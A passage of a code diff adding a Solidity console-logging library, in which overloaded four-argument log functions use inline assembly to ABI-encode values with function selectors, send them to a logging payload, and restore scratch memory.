+            // Selector of `log(uint256,bool,uint256,uint256)`.
+            mstore(0x00, 0xc6acc7a8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,uint256,string)`.
+            mstore(0x00, 0xde03e774)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,string,address)`.
+            mstore(0x00, 0xef529018)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,string,bool)`.
+            mstore(0x00, 0xeb928d7f)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,string,uint256)`.
+            mstore(0x00, 0x2c1d0746)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,bool,string,string)`.
+            mstore(0x00, 0x68c8b8bd)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,address,address)`.
+            mstore(0x00, 0x56a5d1b1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,address,bool)`.
+            mstore(0x00, 0x15cac476)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,address,uint256)`.
+            mstore(0x00, 0x88f6e4b2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,address,string)`.
+            mstore(0x00, 0x6cde40b8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,bool,address)`.
+            mstore(0x00, 0x9a816a83)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,bool,bool)`.
+            mstore(0x00, 0xab085ae6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,bool,uint256)`.
+            mstore(0x00, 0xeb7f6fd2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,bool,string)`.
+            mstore(0x00, 0xa5b4fc99)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,uint256,address)`.
+            mstore(0x00, 0xfa8185af)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,uint256,bool)`.
+            mstore(0x00, 0xc598d185)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,uint256,uint256)`.
+            mstore(0x00, 0x193fb800)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,uint256,string)`.
+            mstore(0x00, 0x59cfcbe3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,string,address)`.
+            mstore(0x00, 0x42d21db7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,string,bool)`.
+            mstore(0x00, 0x7af6ab25)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,string,uint256)`.
+            mstore(0x00, 0x5da297eb)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,uint256,string,string)`.
+            mstore(0x00, 0x27d8afd2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,address,address)`.
+            mstore(0x00, 0x6168ed61)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,address,bool)`.
+            mstore(0x00, 0x90c30a56)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,address,uint256)`.
+            mstore(0x00, 0xe8d3018d)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,address,string)`.
+            mstore(0x00, 0x9c3adfa1)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,bool,address)`.
+            mstore(0x00, 0xae2ec581)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
